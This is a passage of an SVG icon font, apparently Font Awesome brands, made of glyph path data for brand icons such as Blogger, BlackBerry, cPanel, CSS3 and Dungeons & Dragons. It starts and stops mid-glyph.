1.78223 -14.502 3.46387 -21.8027 5.12988l10.9287 43.8096l-27.1982 6.78125l-11.1523 -44.6855c-5.92188 1.34863 -11.7354 2.68164 -17.377 4.08398l0.0302734 0.139648l-37.5293 9.37012l-7.23926 -29.0625s20.1914 -4.62695 19.7646 -4.91309 +c11.0225 -2.75098 13.0146 -10.0439 12.6807 -15.8242l-12.6963 -50.9258c0.759766 -0.193359 1.74414 -0.472656 2.8291 -0.90625c-0.907227 0.224609 -1.87598 0.472656 -2.87598 0.712891l-17.7959 -71.3379c-1.34961 -3.34863 -4.76758 -8.37012 -12.4717 -6.46484 +c0.271484 -0.394531 -19.7793 4.9375 -19.7793 4.9375l-13.5107 -31.1475l35.4141 -8.82617c6.58887 -1.65137 13.0449 -3.37988 19.4004 -5.00684l-11.2617 -45.2129l27.1816 -6.78027l11.1533 44.7324c7.14062 -1.93457 14.4863 -3.84082 21.6865 -5.62695 +l-11.1152 -44.5225l27.2139 -6.78125l11.2617 45.1279c46.4043 -8.78125 81.2988 -5.23926 95.9863 36.7266c11.8359 33.79 -0.589844 53.2812 -25.0049 65.9912c17.7803 4.09766 31.1748 15.792 34.7471 39.9492zM300.172 140.151 +c-8.41016 -33.79 -65.3076 -15.5234 -83.7549 -10.9434l14.9443 59.8994c18.4453 -4.60352 77.5996 -13.7178 68.8105 -48.9561zM308.589 227.818c-7.67285 -30.7363 -55.0312 -15.1201 -70.3926 -11.292l13.5479 54.3262 +c15.3633 -3.82715 64.8359 -10.9727 56.8447 -43.0342z" /> + <glyph glyph-name="bity" unicode="" horiz-adv-x="496" +d="M78.4004 380.8c95.3994 89.2002 246.1 91.2002 343.1 -3.7998c14.2998 -14.0996 -6.40039 -37.0996 -22.4004 -21.5c-84.7998 82.4004 -215.8 80.2998 -298.899 3.2002c-16.2998 -15.1006 -36.5 8.2998 -21.7998 22.0996zM177.3 -37.7998 +c-128.7 38.2998 -201.899 170.7 -169.8 298.1c5.2998 21 35.2002 12.5 30.2002 -7.09961c-28.2998 -111.3 35.2998 -227.101 147.5 -261c21.3994 -6.40039 11.3994 -35.7002 -7.90039 -30zM325.4 -35.7998c-19.2002 -6.2998 -30 22.7002 -8.80078 29.7002 +c106.101 35.5 167.4 145.699 143.2 253.399c-4.89941 21.7002 25.5 27.6006 30 7.90039c28.5 -124.101 -42.5 -250.8 -164.399 -291zM262.5 43.2002c0 -8.2002 -6.59961 -14.7998 -14.7998 -14.7998s-14.7998 6.59961 -14.7998 14.7998l0.199219 71.7998 +c0 8.09961 6.60059 14.7998 14.8008 14.7998c8.19922 0 14.7998 -6.59961 14.7998 -14.7998zM333.5 312.2c0 21.7998 32.5 19.5996 32.5 0v-71.6006c0 -69.2998 -60.7002 -90.8994 -118 -90.0996c-57.2998 -0.799805 -118 20.7998 -118 90.0996v71.6006 +c0 19.5996 32.5 21.7998 32.5 0c-1.40039 -88.2002 -7 -131.8 85.5 -132.5c90.2002 0.599609 87.5996 41.5996 85.5 132.5z" /> + <glyph glyph-name="blackberry" unicode="" horiz-adv-x="512" +d="M166 331.1c0 -23.3994 -16.4004 -49.0996 -72.5 -49.0996h-70.0996l21 88.7998h67.7998c42.0996 0 53.7998 -23.2998 53.7998 -39.7002zM292.2 370.8c42.0996 0 53.7998 -23.2998 53.7002 -39.7002c0 -23.3994 -16.3008 -49.0996 -70.1006 -49.0996h-70.0996 +l18.7002 88.7998h67.7998zM88.7998 239.9c42.1006 0 53.7998 -23.4004 53.7998 -39.7002c0 -25.7002 -16.3994 -49.1006 -72.5 -49.1006h-70.0996l21 88.8008h67.7998zM268.9 239.9c42 0 53.6992 -23.4004 53.6992 -39.7002c0 -25.7002 -16.2998 -49.1006 -70.0996 -49.1006 +h-70.0996l18.6992 88.8008h67.8008zM458.2 293.7c42.0996 0 53.7998 -23.4004 53.7002 -39.7002c0 -25.7002 -16.3008 -49.0996 -70.1006 -49.0996h-70.0996l18.7002 88.7998h67.7998zM430.2 155.8c42.0996 0 53.7002 -23.3994 53.7002 -39.7002 +c0 -25.6992 -14 -49.0996 -70.1006 -49.0996h-70.0996l18.7002 88.7998h67.7998zM240.8 102c42.1006 0 53.7998 -23.4004 53.7002 -39.7002c0 -23.3994 -14 -49.0996 -70.0996 -49.0996h-70.1006l18.7002 88.7998h67.7998z" /> + <glyph glyph-name="blogger" unicode="" +d="M162.4 252c4.7998 4.90039 6.19922 5.09961 36.3994 5.09961c27.2002 0 28.1006 -0.0996094 32.1006 -2.09961c5.7998 -2.90039 8.2998 -7 8.2998 -13.5996c0 -5.90039 -2.40039 -10 -7.60059 -13.4004c-2.7998 -1.7998 -4.5 -1.90039 -31.0996 -2.09961 +c-16.4004 -0.100586 -29.5 0.199219 -31.5 0.799805c-10.2998 2.89941 -14.0996 17.7002 -6.59961 25.2998zM223.8 157.5c55.4004 0 55.1006 0 60.4004 -4.7002c7.39941 -7 5.89941 -19.2998 -3.10059 -24.3994l-9.19922 -1.5l-47.9004 -0.600586 +c-42.2002 -0.5 -54.0996 0.200195 -56.2998 1.2002c-4.40039 1.90039 -8.5 7.2998 -9.2002 12c-0.599609 4.5 1.59961 10.7998 5.09961 13.9004c4.40039 3.89941 6.30078 4.09961 60.2002 4.09961zM447.2 27.4004c-3.5 -28.4004 -23 -50.4004 -51.1006 -57.5 +c-7.19922 -1.80078 -9.69922 -1.90039 -172.899 -1.80078c-157.8 0 -165.9 0.100586 -172 1.80078c-8.40039 2.19922 -15.6006 5.5 -22.2998 10c-5.60059 3.7998 -13.9004 11.7998 -17 16.3994c-3.80078 5.60059 -8.2002 15.2998 -10 22 +c-1.80078 6.7002 -1.90039 9.40039 -1.90039 173.4c0 163.1 0 166.6 1.7998 173.7c6.2998 24.6992 25.9004 43.5996 51.2002 49.1992c7.2998 1.60059 332.1 1.90039 340 0.300781c21.2002 -4.30078 37.9004 -17.1006 47.5996 -36.4004c7.7002 -15.2998 7 1.5 7.30078 -180.6 +c0.199219 -115.801 0 -164.5 -0.700195 -170.5zM361.8 212.6c-1.09961 5 -4.2002 9.60059 -7.7002 11.5c-1.09961 0.600586 -8 1.30078 -15.5 1.7002c-12.3994 0.600586 -13.7998 0.799805 -17.7998 3.10059c-6.2002 3.59961 -7.89941 7.59961 -8 18.2998 +c0 20.3994 -8.5 39.3994 -25.2998 56.5c-12 12.2002 -25.2998 20.5 -40.5996 25.0996c-3.60059 1.10059 -11.8008 1.5 -39.2002 1.7998c-42.9004 0.5 -52.5 -0.399414 -67.1006 -6.19922c-27 -10.7002 -46.2998 -33.4004 -53.3994 -62.4004 +c-1.2998 -5.40039 -1.60059 -14.2002 -1.90039 -64.2998c-0.399414 -62.7998 0 -72.1006 4 -84.5c9.7002 -30.7002 37.1006 -53.4004 64.6006 -58.4004c9.19922 -1.7002 122.199 -2.09961 133.699 -0.5c20.1006 2.7002 35.9004 10.7998 50.7002 25.9004 +c10.7002 10.8994 17.4004 22.7998 21.7998 38.5c3.2002 10.8994 2.90039 88.3994 1.7002 93.8994z" /> + <glyph glyph-name="blogger-b" unicode="" +d="M446.6 225.3c2 -8.89941 2.40039 -134.1 -2.5 -151.7c-7.09961 -25.2998 -17.8994 -44.3994 -35.1992 -62.0996c-23.9004 -24.4004 -49.4004 -37.5 -81.9004 -41.9004c-18.7002 -2.5 -201.2 -1.89941 -216 0.800781c-44.5 8 -88.7998 44.6992 -104.4 94.2998 +c-6.2998 20.0996 -7 35 -6.39941 136.5c0.5 81 1 95.0996 3.09961 103.899c11.4004 46.8008 42.6006 83.4004 86.1006 100.601c23.5996 9.39941 39 10.7998 108.399 10c44.2002 -0.5 57.4004 -1.10059 63.2998 -2.90039c24.6006 -7.5 46.2002 -20.7998 65.5 -40.5 +c27.1006 -27.5996 40.8008 -58.2998 40.9004 -91.2998c0.0996094 -17.2002 2.7998 -23.5996 12.9004 -29.5c6.39941 -3.7002 8.59961 -4.09961 28.6992 -5c12 -0.5 23.2002 -1.7002 25 -2.7002c5.7002 -3.09961 10.7002 -10.5 12.5 -18.5zM124.5 288.9 +c-12.2002 -12.3008 -6 -36.1006 10.5996 -40.8008c3.10059 -0.799805 24.3008 -1.39941 50.8008 -1.19922c43 0.199219 45.6992 0.399414 50.2998 3.2998c8.5 5.39941 12.2998 12.0996 12.2998 21.5996c0 10.6006 -4.09961 17.2002 -13.4004 21.9004 +c-6.39941 3.2998 -7.89941 3.39941 -51.7998 3.39941c-48.7998 0 -51 -0.299805 -58.7998 -8.19922zM316.3 89.0996c14.4004 8.2002 17 28.1006 4.90039 39.4004c-8.5 7.90039 -8 7.90039 -97.6006 7.7998c-87.0996 -0.0996094 -90.1992 -0.299805 -97.2998 -6.7002 +c-5.59961 -5.09961 -9.2998 -15.0996 -8.2002 -22.3994c1.10059 -7.7002 7.80078 -16.2998 14.9004 -19.4004c3.59961 -1.59961 22.7998 -2.7998 90.9004 -2l77.5 0.900391z" /> + <glyph glyph-name="buromobelexperte" unicode="" +d="M0 416h128v-128h-128v128zM120 296v112h-112v-112h112zM160 416h128v-128h-128v128zM280 296v112h-112v-112h112zM320 416h128v-128h-128v128zM440 296v112h-112v-112h112zM0 256h128v-128h-128v128zM120 136v112h-112v-112h112zM160 256h128v-128h-128v128zM280 136v112 +h-112v-112h112zM320 256h128v-128h-128v128zM440 136v112h-112v-112h112zM0 96h128v-128h-128v128zM120 -24v112h-112v-112h112zM160 96h128v-128h-128v128zM280 -24v112h-112v-112h112zM320 96h128v-128h-128v128z" /> + <glyph glyph-name="centercode" unicode="" horiz-adv-x="512" +d="M329.2 179.4c-3.7998 -35.2002 -35.4004 -60.6006 -70.6006 -56.8008c-35.1992 3.80078 -60.5996 35.4004 -56.7998 70.6006s35.4004 60.5996 70.6006 56.7998c35.0996 -3.7998 60.5996 -35.4004 56.7998 -70.5996zM243.4 -55.7002 +c-146.7 7.7002 -251.601 138.2 -233.301 279.4c11.2002 86.5996 65.8008 156.899 139.101 192c161 77.0996 349.7 -37.4004 354.7 -216.601c4.09961 -147 -118.4 -262.199 -260.5 -254.8zM423.3 124.3c27.9004 118 -160.5 205.9 -237.2 234.2 +c-57.5 -56.2998 -69.0996 -188.6 -33.7998 -344.4c68.7998 -15.7998 169.101 26.4004 271 110.2z" /> + <glyph glyph-name="cloudscale" unicode="" +d="M318.1 294c6.2002 6.2998 15.8008 -3.09961 9.5 -9.59961l-75.1992 -88.8008c0.899414 -8.19922 -1.80078 -16.7998 -8.10059 -23.0996c-11.0996 -11 -28.8994 -11 -40 0c-11.0996 11.0996 -11.0996 29 0 40c6.2998 6.2998 14.7998 9 23.1006 8.09961l25.1992 20.4004 +c-16.3994 15.2998 -38.3994 24.7002 -62.5996 24.7002c-50.7998 0 -94.5996 -41.4004 -92.5996 -97.4004c-1 6.2998 -1.40039 12.7998 -1.40039 19.4004c0 71.5 57.7998 132.3 129.4 132.3c31.7998 0 60.7998 -14.2998 83.2998 -33.5996zM234.3 182.5 +c5.60059 5.5 5.60059 14.5996 0 20.2002c-5.59961 5.59961 -14.5996 5.59961 -20.2002 0c-5.59961 -5.60059 -5.59961 -14.6006 0 -20.2002c5.60059 -5.5 14.6006 -5.5 20.2002 0zM224 416c123.5 0 224 -100.5 224 -224s-100.5 -224 -224 -224s-224 100.5 -224 224 +s100.5 224 224 224zM224 32c88.2002 0 160 71.7998 160 160s-71.7998 160 -160 160s-160 -71.7998 -160 -160s71.7998 -160 160 -160z" /> + <glyph glyph-name="cloudsmith" unicode="" horiz-adv-x="332" +d="M332.5 28.0996c0 -46.3994 -37.5996 -84.0996 -84 -84.0996s-84 37.7002 -84 84.0996c0 46.4004 37.5996 84 84 84s84 -37.5996 84 -84zM248.5 272c-46.4004 0 -80 -33.5996 -80 -80s-37.5996 -80 -84 -80s-84 33.5996 -84 80s37.5996 88 84 88s76 29.5996 76 76 +s41.5996 84 88 84s80 -37.5996 80 -84s-33.5996 -84 -80 -84z" /> + <glyph glyph-name="cloudversify" unicode="" horiz-adv-x="616" +d="M148.6 144v-0.0996094h-48.8994c-6.40039 0 -11.7002 5.39941 -11.7002 11.7998v40.3994c0 7.60059 7 11.9004 10.7998 11.9004h46.7998v-6.59961c0 -10.7002 8.80078 -16.7002 19.5 -16.7002h20.2002c10.7998 0 19.5 8.7998 19.5 19.5v20.3994 +c0 10.6006 -3.5 19.5 -15.2002 19.5c18.5 15.2002 37.2002 21.4004 45 24.1006c15 56.5 42 92.3994 99.3008 109.7c55.0996 16.5 153.5 3.09961 186.5 -85c73.8994 -22.6006 106.899 -92.6006 92.0996 -155.101c-13 -54.8994 -62.2998 -100.6 -131.5 -99.5 +c-49.5996 -51.3994 -135.2 -48.8994 -186.4 -5.59961c-78.5996 -4.2002 -137.8 42.7998 -146 111.3zM376 136c8.7002 -54.0996 59.7002 -65.5 91.7998 -59.2002c39.1006 7.7002 70.5 37.5 79.7002 76.5c5.7998 24.4004 2.40039 50 -9.40039 72l-10.5 19.6006 +c1.2002 -22.5 -12.5 -60.6006 -47.5 -76.9004c65.5 67.7002 2.10059 141.2 -67.6992 150.5c-49.8008 6.59961 -83.3008 -13 -114.2 -43.7002c48 -4.7002 87.7002 -26.7998 101.8 -74.7998c-30.0996 49.2998 -103 56.5996 -133.6 40.7998 +c-35.5 -18.2002 -60 -54 -57 -93.8994c3.59961 -47.4004 39.5 -67.4004 57.3994 -79.8008c-4.5 21.7002 -4 71.3008 29.2002 92.9004c-36.2998 -60 28.0996 -144.6 135.3 -110.8c-33.5996 14.3994 -66 40.5 -55.2998 86.7998zM128 240h-39.7998 +c-8.90039 0 -16.2002 7.2998 -16.2002 16.2002v39.5996c0 8.90039 7.2998 16.2002 16.2002 16.2002h39.7998c8.90039 0 16.2002 -7.2998 16.2002 -16.2002v-39.5996c0 -8.90039 -7.2998 -16.2002 -16.2002 -16.2002zM10.0996 280c-5.59961 0 -10.0996 4.5 -10.0996 10.0996 +v27.8008c0 5.59961 4.5 10.0996 10.0996 10.0996h27.7002c5.5 0 10.1006 -4.5 10.1006 -10.0996v-27.8008c0 -5.59961 -4.5 -10.0996 -10.1006 -10.0996h-27.7002zM168 305.3v21.4004c0 5.09961 4.2002 9.2998 9.2998 9.2998h21.4004 +c5.09961 0 9.2998 -4.2002 9.2998 -9.2998v-21.4004c0 -5.09961 -4.2002 -9.2998 -9.2998 -9.2998h-21.4004c-5.09961 0 -9.2998 4.2002 -9.2998 9.2998zM56 212.5v-25c0 -6.2998 -5.09961 -11.5 -11.4004 -11.5h-25.1992c-6.30078 0 -11.4004 5.2002 -11.4004 11.5v25 +c0 6.2998 5.09961 11.5 11.4004 11.5h25.0996c6.40039 0 11.5 -5.2002 11.5 -11.5z" /> + <glyph glyph-name="cpanel" unicode="" horiz-adv-x="640" +d="M210.3 227.8c6.60059 -29.0996 -14.5 -65.2998 -51.7002 -65.2998h-32l6.40039 23.7998c1.7998 6.2002 7.2998 10.7998 14.2998 10.7998h10.2998c12.4004 0 20.8008 11.7002 18.3008 22.6006c-2.10059 9.2002 -9.90039 14.7998 -18.3008 14.7998h-19.7998 +l-25.7998 -95.7002c-1.90039 -6.2002 -7.40039 -10.7002 -14.2002 -10.7002l-24.7002 -0.0996094l34.9004 130.1c1.7998 6.40039 7.2002 10.9004 14.2998 10.9004h37c24.1006 0 45.4004 -16.4004 51 -41.2002zM53.7998 199.8c-24.8994 0 -24.7002 -37.3994 0 -37.3994 +h11.2998c4.2002 0 7.60059 -3.90039 6.40039 -8.30078l-7.09961 -26.0996h-12.4004c-33.5 0 -59 31.4004 -50.2998 65.2002c7.2998 27 28.2998 41.0996 51.2002 41.0996h40l-6.2002 -23.5996c-1.90039 -6.5 -7.40039 -10.9004 -14.2998 -10.9004h-18.6006zM301.3 234.6 +c18.7998 0 33.2998 -17.5996 28.5 -36.7998l-14 -51.7998c-2.7998 -10.5996 -12.2002 -17.7998 -23.3994 -17.7998l-57.5 0.200195c-42.9004 0 -38.5 63.7998 0.699219 63.7998h48.4004l-3.5 -13.2002c-1.90039 -6.2002 -7.40039 -10.7998 -14.2002 -10.7998h-21.5996 +c-5.2998 0 -5.2998 -7.90039 0 -7.90039h34.8994c4.60059 0 5.10059 3.90039 5.5 5.2998l8.60059 31.8008c0.299805 1 1.89941 5.2998 -2.10059 5.2998h-57.5c-9.69922 0 -16.5996 8.89941 -14.1992 18.5l3.5 13.3994h77.8994zM633.1 269c4.5 0 7.7002 -4 6.5 -8.2998 +l-26.5 -98.2002c-5.09961 -20.7002 -24.1992 -34.5 -44.8994 -34.5l35.5996 133.1c1.2002 4.7002 5.5 7.90039 10.4004 7.90039h18.8994zM396.8 234.3c34.4004 0 59.2998 -32.2998 50.2998 -65.3994l-8.7998 -33.1006c-1.2002 -4.89941 -5.7002 -7.7998 -10.2998 -7.7998 +h-19.0996c-4.5 0 -7.60059 4 -6.40039 8.2998l10.5996 40c3.30078 11.6006 -5.59961 23.4004 -18.0996 23.4004h-19.7998l-17.2002 -64c-1.2002 -4.7998 -5.59961 -7.7998 -10.4004 -7.7998h-18.8994c-4.2002 0 -7.60059 3.89941 -6.40039 8.2998l26.2002 98h48.2998 +v0.0996094zM495.1 159.7h73.3008l-5.7002 -21c-1.90039 -6.2002 -7.40039 -10.7002 -14.2002 -10.7002h-66.7002c-20 0 -33.2998 19 -28.2998 36.7002l10.7998 40c4.7998 17.5996 20.7002 29.5996 38.6006 29.5996h47.2998c19 0 33.2002 -17.7002 28.2998 -36.7998 +l-3.2002 -12c-2.89941 -11 -12.7002 -17.5996 -23.2002 -17.5996h-53.3994l3.5 13c1.59961 6.19922 7.2002 10.7998 14.2002 10.7998h21.5996c2 0 3.2998 1 3.90039 3l0.699219 2.59961c0.700195 2.7002 -1.2998 5.10059 -3.89941 5.10059h-32.9004 +c-4.09961 0 -6.89941 -2.10059 -7.7998 -6l-8 -30c-0.900391 -3.30078 1.5 -6.7002 5.09961 -6.7002z" /> + <glyph glyph-name="css3-alt" unicode="" horiz-adv-x="384" +d="M0 416h384l-34.9004 -395.8l-157.1 -52.2002l-157.1 52.2002zM313.1 336h-242.199l5.7998 -47.2998h122.899l-6.5 -2.7002l-112.1 -46.7002l3.59961 -46.2998l0.200195 0.0996094v-0.0996094l166.3 -0.5l-3.69922 -61.5996l-54.7002 -15.4004l-52.6006 13.2998 +l-3.19922 38.2998h-48.9004l6.40039 -73.8994l98.7998 -29.2002l98.2002 28.7002l12.7998 146.6h-111.5l0.299805 0.100586l115.3 49.2998z" /> + <glyph glyph-name="cuttlefish" unicode="" horiz-adv-x="440" +d="M344 142.5c13.7002 -50.9004 41.7002 -93.2998 87 -117.8c-45.2998 -49.6006 -110.5 -80.7002 -183 -80.7002c-137 0 -248 111 -248 248s111 248 248 248c72.5 0 137.7 -31.0996 183 -80.7002c-45.2998 -24.5 -73.2998 -66.8994 -87 -117.8 +c-17.5 31.5996 -57.4004 54.5 -96 54.5c-56.5996 0 -104 -47.4004 -104 -104s47.4004 -104 104 -104c38.5996 0 78.5 22.9004 96 54.5z" /> + <glyph glyph-name="d-and-d" unicode="" horiz-adv-x="576" +d="M82.5 349.1c-0.599609 17.2002 2 33.8008 12.7002 48.2002c0.299805 -7.39941 1.2002 -14.5 4.2002 -21.5996c5.89941 27.5 19.6992 49.2998 42.2998 65.5c-1.90039 -5.90039 -3.5 -11.7998 -3 -17.7002c8.7002 7.40039 18.7998 17.7998 44.3994 22.7002 +c14.7002 2.7998 29.7002 2 42.1006 -1c38.5 -9.2998 61 -34.2998 69.7002 -72.2998c5.2998 -23.1006 0.699219 -45 -8.30078 -66.4004c-5.19922 -12.4004 -12 -24.4004 -20.6992 -35.0996c-2 1.89941 -3.90039 3.7998 -5.80078 5.59961 +c-42.7998 40.7998 -26.7998 25.2002 -37.3994 37.4004c-1.10059 1.19922 -1 2.19922 -0.100586 3.59961c8.30078 13.5 11.8008 28.2002 10 44c-1.09961 9.7998 -4.2998 18.9004 -11.2998 26.2002c-14.5 15.2998 -39.2002 15 -53.5 -0.600586 +c-11.3994 -12.5 -14.0996 -27.3994 -10.8994 -43.5996c0.199219 -1.2998 0.399414 -2.7002 0 -3.90039c-3.40039 -13.6992 -4.60059 -27.5996 -2.5 -41.5996c0.0996094 -0.5 0.0996094 -1.09961 0.0996094 -1.59961c0 -0.300781 -0.0996094 -0.5 -0.200195 -1.10059 +c-21.7998 11 -36 28.2998 -43.2002 52.2002c-8.2998 -17.7998 -11.0996 -35.5 -6.59961 -54.0996c-15.5996 15.1992 -21.2998 34.2998 -22 55.1992zM552.1 225.9c0.5 -0.600586 1.2002 -1 1.7002 -1.40039v-0.5c-15 3.59961 -29.7998 1.7998 -44.5 -1.2998 +c-9.2998 -2 -18.2998 -4.7002 -26.7002 -9c-2.89941 -1.5 -5.69922 -3.2998 -8 -4.7002c-5.7998 2.40039 -11.2998 5.5 -17.1992 6.7998c-24.5 5.2998 -45.8008 -1.2002 -62.5 -20c-19.7002 -22.2002 -34.5 -47.5996 -46.7002 -74.5l-1.2002 -2.7002 +c-0.0996094 -0.199219 -0.200195 -0.299805 -0.400391 -0.399414c-12.0996 8.2998 -21.5996 20.2998 -36.0996 25.5996c0.299805 0.400391 0.400391 0.900391 0.700195 1.2998c20.5996 28.2002 44.8994 52.5 75.0996 70.4004c16 9.5 33 16.0996 51.5 18.5 +c1.7998 0.200195 3.5 0.400391 5.2998 1.09961c-4.39941 0 -8.7998 0.300781 -13.0996 -0.0996094c-21.2002 -1.90039 -40.5 -9.59961 -58.7002 -20.2002c-13.7998 -8 -26.2002 -17.7002 -36.5996 -29.7998c-0.400391 -0.5 -0.600586 -1.09961 -0.900391 -1.7002 +c-0.299805 0.299805 -0.700195 0.600586 -1 0.900391c11 30.8994 30.7002 55 57.7002 73.2998c0.200195 -0.200195 0.5 -0.299805 0.700195 -0.5c-1.2002 -1.7002 -2.5 -3.2998 -3.5 -5.09961c-1.7998 -3.30078 -3.7002 -6.5 -5.10059 -10 +c-1.7998 -4.30078 1.60059 -8.60059 12 -0.5c18.2002 14.0996 29.6006 26.2998 48.9004 29.5996c0.700195 0.0996094 1.2998 0.299805 1.90039 0.299805h2.5c-1 -0.700195 -1.60059 -1.09961 -2.2002 -1.5c-11.6006 -7.7998 -11.7998 -7.39941 -15 -12 +c-2.60059 -3.7002 -0.200195 -8 4.7002 -6.7998c2.59961 0.599609 5.19922 1.2998 7.69922 2.2002c9.40039 3.2998 19 5.7998 29 6.39941c13.9004 0.800781 27.1006 -1.89941 39.9004 -7.09961c15.0996 -6.2002 28.5 -15 40.0996 -26.5996zM316.7 50.4004 +c1.5 -1.30078 1.89941 -2.40039 0.899414 -4.2002c-25.2998 -50.2002 -61.0996 -89.1006 -116 -98.7998c-26.7998 -4.7002 -52.8994 -2.7002 -77.8994 8.59961c-18.5 8.2002 -34.6006 19.5996 -47.2002 35.5996c-2 2.60059 -3.7002 5.40039 -5.90039 8.60059 +c-0.699219 -7.7998 0.100586 -14.9004 1.5 -21.9004c-0.199219 -0.200195 -0.399414 -0.299805 -0.599609 -0.5c-3.2002 3.40039 -6.59961 6.60059 -9.5 10.2998c-12.2002 15.5 -19.5 33.3008 -24.0996 52.3008c-11.8008 48.2998 -0.5 78.7998 7.7998 101.1 +c-8.7002 -4.7998 -16.2002 -10.2998 -23.6006 -16.2002c11.6006 32.7998 31.9004 59.9004 56.1006 84.6006c2.39941 -2.10059 3.2998 -4.7002 3 -7.40039c-0.200195 -1 -5.90039 -38.9004 -5.60059 -44.7002c18.9004 18.9004 40.5 33.2998 64.8008 43.9004 +c-7.5 -11.1006 -11 -23.4004 -11.8008 -37.2998c13.4004 12.1992 27.7002 20.0996 46.4004 13.8994c-8.5 -9.09961 -30.7998 -30.5 -38.5996 -64.2998c-5.10059 -21.9004 -3.80078 -43.0996 8.19922 -62.5996c11.2002 -18.3008 27.8008 -27.8008 49.4004 -27.8008 +c12.5996 0 23.7998 5 34.0996 11.8008c18.5 12.2998 32.8008 28.5 44 47.5996c1.90039 3.2002 1.10059 2.09961 1.90039 3c19.9004 -16.0996 3.2998 -2.59961 42.7002 -35.5996zM488.7 96.7998c20.2002 -6.59961 35.5 -18.7998 43.7998 -38.8994 +c9.2002 -23.1006 2.09961 -49.4004 -17.4004 -66c-16.3994 -14 -35.6992 -19.2002 -57 -17.4004c-0.599609 0 -1.19922 0 -1.89941 -0.299805c15.0996 -10.7002 31.5996 -15.2002 50.8994 -10.6006c-2.19922 -2.39941 -3.89941 -4.69922 -5.89941 -6.5 +c-12.2998 -10.8994 -26.9004 -16.8994 -42.9004 -19.7998c-39.5996 -7.2998 -75.5996 12.7998 -85 56.9004c-0.5 2.09961 -0.599609 4.2002 -0.899414 6.39941c-10.8008 -8.19922 -16.4004 -34.0996 -0.700195 -52.2998c-1.60059 0.5 -2.60059 0.700195 -3.60059 1.10059 +c-21.2998 8.2998 -34.3994 28.2998 -33.5 51.1992c0.900391 23.2002 4.90039 41 -13 56c-16.5 13.8008 -33 27.4004 -49.5 41.1006c-8.09961 6.7002 -14.7998 14.5 -17 25.0996c-1 4.60059 -1.39941 9.40039 -1.7998 14.1006c-0.5 6.09961 -3.2998 11 -7.89941 14.7998 +c-4.5 3.89941 -9.30078 7.39941 -13.8008 11.2002c-8.89941 7.5 -12.2998 18.8994 -7.2998 29.8994c2.7998 -12.8994 9.60059 -18.8994 22.6006 -20.2998c4.39941 -0.5 8.89941 -0.799805 13.2998 -1.5c8.09961 -1.2002 12.7998 -6.09961 14.2998 -14.2002 +c0.700195 -3.39941 1.2998 -6.7998 2.2002 -10.2002c1.59961 -5.59961 4.5 -8 10.3994 -8.39941c4.60059 -0.299805 9.30078 -0.5 13.9004 -0.900391c7.59961 -0.599609 14.2002 -3.7998 20.0996 -8.7002c19.4004 -16.1992 39 -32.1992 58.5 -48.2998 +c5.7002 -4.7002 12 -8.2002 19.6006 -8.5c16.7002 -0.599609 29 15.2002 24.7998 31.7998c-0.200195 0.700195 -0.400391 1.5 -0.0996094 2.80078c2.39941 -2 4.89941 -3.80078 7 -5.90039c14.0996 -14 18.0996 -39.2998 8.69922 -56.0996 +c-2.09961 -3.80078 -5.2998 -7.10059 -8.09961 -10.8008c0.700195 -0.199219 1.7998 -0.5 3 -0.599609c14 -1.40039 27.2002 1 38.9004 9.09961c15.7998 10.9004 18 31.2002 5.39941 45.6006c-4.7002 5.39941 -8.89941 8 -18.7998 12 +c6.5 1.2998 19.2002 0.200195 28.7002 -2.90039zM99.4004 268.7c-5.30078 9.2002 -13.2002 15.5996 -22.1006 21.2998c13.7002 0.5 26.6006 -0.200195 39.6006 -3.7002c-7 12.2002 -8.5 24.7002 -5 38.7002c5.2998 -11.9004 13.6992 -20.0996 23.5996 -26.7998 +c19.7002 -13.2002 35.7002 -19.6006 46.7002 -30.2002c3.39941 -3.2998 6.2998 -7.09961 9.59961 -10.9004c-0.799805 2.10059 -1.39941 4.10059 -2.2002 6c-5 10.6006 -13 18.6006 -22.5996 25c-1.7998 1.2002 -2.7998 2.5 -3.40039 4.5 +c-3.2998 12.5 -3 25.1006 -0.699219 37.6006c1 5.5 2.7998 10.8994 4.5 16.2998c0.799805 2.40039 2.2998 4.59961 4 6.59961c0.599609 -6.89941 0 -25.5 19.5996 -46c10.7998 -11.2998 22.4004 -21.8994 33.9004 -32.6992c9 -8.5 18.2998 -16.7002 25.5 -26.8008 +c1.09961 -1.59961 2.19922 -3.2998 3.7998 -4.69922c-5 13 -14.2002 24.0996 -24.2002 33.7998c-9.59961 9.2998 -19.4004 18.3994 -29.2002 27.3994c-3.2998 3 -4.59961 6.7002 -5.09961 10.9004c-1.2002 10.4004 0 20.5996 4.2998 30.2002c0.5 1 1.09961 2 1.90039 3.2998 +c0.5 -4.2002 0.599609 -7.90039 1.39941 -11.5996c4.7998 -23.1006 20.4004 -36.3008 49.2998 -63.5c10 -9.40039 19.3008 -19.2002 25.6006 -31.6006c4.7998 -9.2998 7.2998 -19 5.7002 -29.5996c-0.100586 -0.600586 0.5 -1.7002 1.09961 -2 +c6.2002 -2.60059 10 -6.90039 9.7002 -14.2998c7.7002 2.59961 12.5 8 16.3994 14.5c4.2002 -20.2002 -9.09961 -50.3008 -27.1992 -58.7002c0.399414 4.5 5 23.3994 -16.5 27.7002c-6.80078 1.2998 -12.8008 1.2998 -22.9004 2.09961c4.7002 9 10.4004 20.5996 0.5 22.4004 +c-24.9004 4.59961 -52.7998 -1.90039 -57.7998 -4.60059c8.2002 -0.399414 16.2998 -1 23.5 -3.2998c-2 -6.5 -4 -12.7002 -5.7998 -18.9004c-1.90039 -6.5 2.09961 -14.5996 9.2998 -9.59961c1.2002 0.900391 2.2998 1.90039 3.2998 2.7002 +c-3.09961 -17.9004 -2.90039 -15.9004 -2.7998 -18.2998c0.299805 -10.2002 9.5 -7.80078 15.7002 -7.30078c-2.5 -11.7998 -29.5 -27.2998 -45.4004 -25.7998c7 4.7002 12.7002 10.2998 15.9004 17.9004c-6.5 -0.799805 -12.9004 -1.60059 -19.2002 -2.40039 +l-0.299805 0.900391c4.69922 3.39941 8 7.7998 10.1992 13.0996c8.7002 21.1006 -3.59961 38 -25 39.9004c-9.09961 0.799805 -17.7998 -0.799805 -25.8994 -5.5c6.2002 15.5996 17.2002 26.5996 32.5996 34.5c-15.2002 4.2998 -8.89941 2.7002 -24.5996 6.2998 +c14.5996 9.2998 30.2002 13.2002 46.5 14.5996c-5.2002 3.2002 -48.1006 3.60059 -70.2002 -20.8994c7.90039 -1.40039 15.5 -2.7998 23.2002 -4.2002c-23.7998 -7 -44 -19.7002 -62.4004 -35.5996c1.10059 4.7998 2.7002 9.5 3.2998 14.2998 +c0.600586 4.5 0.800781 9.2002 0.100586 13.5996c-1.5 9.40039 -8.90039 15.1006 -19.7002 16.2998c-7.90039 0.900391 -15.5996 